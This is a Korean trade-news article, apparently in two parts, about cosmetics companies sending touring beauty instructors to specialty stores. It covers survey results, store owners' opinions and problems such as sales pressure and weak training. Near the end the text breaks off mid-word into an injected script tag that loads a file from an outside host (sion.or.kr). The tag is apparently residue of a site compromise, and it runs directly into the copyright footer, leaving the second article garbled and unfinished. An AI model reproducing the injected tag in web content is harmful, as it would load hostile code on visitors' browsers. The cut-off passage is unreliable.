전문점 대상 순회사원 지원 활발
전문점의 매출 향상을 위한 제조사의 판매지원 활동 중에서 대표적인 것이 바로 미용강사 등 순회사원을 파견하는 것이다.
본지가 지난 7월 중 설문조사한 결과에 따르면 전문점 업계가 바라는 제조사의 판매지원책으로 38.4%명의 응답자가 ‘샘플·판촉물 지원’을 선호한다고 밝혀 가장 많은 숫자를 기록했다. 반면 ‘순회사원 지원’ 등을 선호한다는 응답자는 4.4%에 불과했다. 전문점에서는 순회사원 지원에 대해 별 필요성을 못 느끼고 있는 것일까?
이렇게 수치가 적게 나왔다고 가볍게 여긴다면 오산이다. 전문점주들이 그만큼 순회사원 지원에 덜 목말라 하는 것은 그만큼 충분히 활동을 하고 있기 때문이다. 또한 판촉물 지원 등과 같은 항목과의 상대 비교를 통한 결과라는 점에서 쉽게 중요성을 무시할 수 있는 것이 아니다.
미용강사라는 말만 들어서는 정확히 어떤 일을 하는지 개념이 안 설 수가 있다. 미용실이나 미용학원에 관계된 것일지도 모른다는 오해를 사기에 충분하다. 반면 아름다움의 전도사, 패션의 한 가운데 서 있는 직업이라는 데 대해서는 별 의심을 갖지 않을 것이다. 하지만 사실은 짐작과 멀다.
화장품회사의 미용강사는 여자가 하는 일치고는 ‘막노동’에 가깝다는 것이 당사자들이나 주변 사람들의 공통된 의견이다. 그만큼 발품, 손품, 입품을 많이 팔아야 하는 일이기 때문이다.
업무과중·자사품 권매·근태 등 개선돼야
본사 소속이든 대리점 소속이든 자기네 회사와 거래하고 있는 모든 전문점을 관리하기란 만만한 일이 아니다. 전문점주들의 얘기를 들어보면 보통 대리점 직원들은 일주일에 1~2번 찾아오고, 본사 소속 강사들은 몇 개월에 한 번씩 방문한다고 한다.
이들에 대한 전문점주들의 의견은 대체로 “많은 도움이 되고 있다”는 것이다. 물론 몇 가지 불만족스럽다거나 아쉬운 점도 없는 것은 아니지만 전문점 경영의 한 조력자로서의 역할을 수행하기 위해 최선을 다하고 있다는 데 대해서는 이의를 달지 않았다.
서울 송파구의 한 전문점주는 “상품에 대한 정보도 알 수 있을 뿐더러 다른 매장들 돌아가는 얘기도 들을 수 있어 좋다”고 한 후 “다들 힘든다고 하면서도 열심히 하는 모습을 보니 고마운 생각이 든다”고 말했다.
잠실에 위치한 또 다른 전문점의 점주는 “본사서 나오는 직원들이 더 나은 것 같다”면서 “센스 있는 직원들은 일부러 고객이 고가품을 선택할 수 있도록 유도해준다”며 만족감을 표시했다.
하지만 몇 가지 아쉬운 점이 없는 것도 아니다. 매장을 방문하게 되면 대개 자기회사 제품을 밀게 되기 마련인데, 너무 자주 찾아와서 그러면 도무지 눈에 거슬리게 된다는 말이다. 또한 방문하는 전문점주와 어느 정도 안면이 익게 되면 ‘풀어져 버리는’ 모습을 보이기도 한다. 마치 내 집인 것처럼 차 마시고 이야기 나누다가 가버리는 경우도 있는데 한 전문점주는 “힘들겠지만 타성에 젖지 말고 적당한 긴장감을 잃지 않고 최선을 다 하는 모습을 보여줬으면 한다”고 바람을 전한다.
아예 일부에서는 전문성이 떨어진다는 이유로 손을 내젓는 경우도 있다. 이는 본사나 대리점이 곰곰이 따져보고 풀어나가야 할 문제다. 앞으로는 전문점에 대한 순회사원들의 역할을 더 강화시켜나가야 할 것에 대한 고민이 필요하다.
- 이봉구 기자 viewsion@csmt.co.kr
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체계적 양성 프로그램·열악한 근무조건 개선 시급
최근 일각에서는 상품정보전달과 브랜드이미지 향상이라는 미용강사 본연의 기능을 뒤로 한 채, 영업적인 부분만 강조되고 있어 체계적인 정비가 필요하다는 지적이 일고 있다. 특히 미용강사 간의 순회활동이 형식적인 활동에 그치고 있고 이들 간의 질적인 수준차이도 커서 오히려 역효과만 초래하고 있다는 불만도 제기되고 있는 실정이다.
실제로 서울에서 활동중인 대리점 소속의 한 미용강사는 “현재 전문점별로 판매목표액을 대리점으로부터 미리 부여받아 현장방문에 임하고 있다”며 “이로 인해 정확한 정보전달보다는 ‘제품밀어넣기’ 위한 권매에 나서는 상황이 종종 연출되고 있다”고 토로했다.
또 다른 문제로 지적되는 것은 미용강사에 대한 체계적인 교육과 관리가 부족하다는 점을 업계에선 꼽고 있다. 메이커에 소속된 미용강사는 자체 교육기관과 커리큘럼?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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